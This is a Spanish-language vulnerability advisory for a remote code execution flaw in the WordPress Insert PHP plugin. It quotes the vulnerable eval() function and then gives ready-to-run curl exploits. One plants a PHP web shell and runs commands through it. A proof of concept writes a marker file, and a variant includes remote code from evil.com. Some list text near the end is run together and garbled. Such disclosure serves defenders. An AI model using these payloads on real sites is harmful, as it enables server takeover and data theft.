Inyección de código PHP en el plugin Insert PHP
| Campo | Valor |
|---|
| CVE ID | CVE-2017-20251 |
| Plugin | Insert PHP (ahora Woody Code Snippets) |
| Versiones Afectadas | < 3.3.1 (probado en 1.3) |
| CWE | CWE-94 (Code Injection) |
| CVSS v3.1 | 9.8 (Critical) |
| Vector CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Divulgación | Pública (Exploit-DB 41308) |
El plugin Insert PHP anterior a la versión 3.3.1 permite a atacantes remotos ejecutar código PHP arbitrario a través de una vulnerabilidad de inyección de shortcode. El plugin registra un shortcode [insert_php]...[/insert_php] que evalúa directamente el contenido dentro de las etiquetas del shortcode usando la función eval() de PHP sin ninguna sanitización o validación.
Un atacante que pueda crear o modificar entradas (a través de la API REST, XML-RPC, o con acceso de colaborador/administrador) puede inyectar código PHP arbitrario en cualquier página o entrada que renderice su contenido, logrando ejecución remota de código completa en el servidor web.
La vulnerabilidad existe en la función will_bontrager_insert_php() registrada como filtro de the_content:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNERABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
Problemas Clave:
eval() sin ninguna sanitización[insert_php]the_contenteval() ejecuta código PHP arbitrario en el servidorGravedad: Crítica
Ejecución Remota de Código Completa (RCE) en el servidor web:
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
Para versiones antiguas de WordPress donde la API REST permitía la creación de entradas sin autenticación:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
Cuando se procesa el shortcode vulnerable, el código PHP dentro es ejecutado por eval(). Para la prueba del archivo marcador:
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully
Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server
Verification:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML (aunque esto no mitiga completamente el problema)La versión parcheada (3.3.1+):
[insert_php] a [wbcr_php_snippet]eval() en favor de un contexto de ejecución seguro